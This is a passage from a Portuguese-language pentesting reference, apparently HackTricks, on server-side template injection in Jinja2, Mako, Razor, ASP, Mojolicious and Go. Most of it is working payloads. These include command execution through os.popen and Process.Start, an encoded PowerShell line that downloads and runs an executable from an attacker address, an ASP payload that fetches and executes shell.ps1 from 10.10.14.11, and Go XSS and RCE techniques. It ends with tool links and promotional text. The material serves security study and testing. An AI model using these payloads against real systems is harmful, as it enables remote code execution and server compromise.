{{ namespace.__init__.__globals__.os.popen('id').read() }}
Mais detalhes sobre como abusar do Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Razor (.Net)
@(2+2) <= Sucesso
@() <= Sucesso
@("{{code}}") <= Sucesso
@ <=Sucesso
@{} <= ERRO!
@{ <= ERRO!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
O método System.Diagnostics.Process.Start
do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar uma webshell. Você pode encontrar um exemplo de aplicativo web vulnerável em https://github.com/cnotin/RazorVulnerableApp
Mais informações
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nada<%= response.write(date()) %>
= <Data>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Mais Informações
Mojolicious (Perl)
Mesmo sendo Perl, utiliza tags como ERB em Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Erro
<%= perl code %>
<% perl code %>
SSTI em GO
Para confirmar que o motor de template usado no backend é Go, você pode usar estes payloads:
{{ . }}
= estrutura de dados sendo passada como entrada para o template- Se os dados passados forem um objeto que contém o atributo Password, por exemplo, o payload anterior revelaria isso, mas você também poderia fazer:
{{ .Password }}
{{printf "%s" "ssti" }}
= deve exibir a string ssti na resposta{{html "ssti"}}
,{{js "ssti"}}
= Estes são alguns outros payloads que devem exibir a string "ssti" sem as palavras finais "js" ou "html". Você pode consultar mais palavras-chave no motor aqui.
Exploração de XSS
Se o servidor estiver usando o pacote text/template, XSS é muito fácil de alcançar simplesmente fornecendo seu payload como entrada. No entanto, isso não acontece com html/template pois codifica a resposta em HTML: {{"<script>alert(1)</script>"}}
--> <script>alert(1)</script>
No entanto, Go permite DEFINIR um template inteiro e depois chamá-lo. O payload seria algo como:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
Exploração de RCE
A documentação para o módulo html/template pode ser encontrada aqui, e a documentação para o módulo text/template pode ser encontrada aqui, e sim, elas variam, e muito. Por exemplo, em text/template, você pode chamar diretamente qualquer função pública com o valor “call”, o que não é o caso com html/template.
Se você quer encontrar um RCE em Go via SSTI, deve saber que, assim como você pode acessar o objeto fornecido ao template com {{ . }}
, você também pode chamar os métodos do objeto. Então, imagine que o objeto passado tem um método chamado System que executa o comando fornecido, você poderia abusar disso com: {{ .System "ls" }}
Portanto, você provavelmente precisará do código-fonte. Um código-fonte potencial para algo assim seria:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Mais informações
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Mais Exploits
Confira o restante de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para mais exploits. Você também pode encontrar informações interessantes de tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
Ajuda Relacionada
Se achar que pode ser útil, leia:
Ferramentas
{% embed url="https://github.com/Hackmanit/TInjA" %}
{% embed url="https://github.com/vladko312/sstimap" %}
{% embed url="https://github.com/epinna/tplmap" %}
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
Lista de Detecção de Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Prática & Referências
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.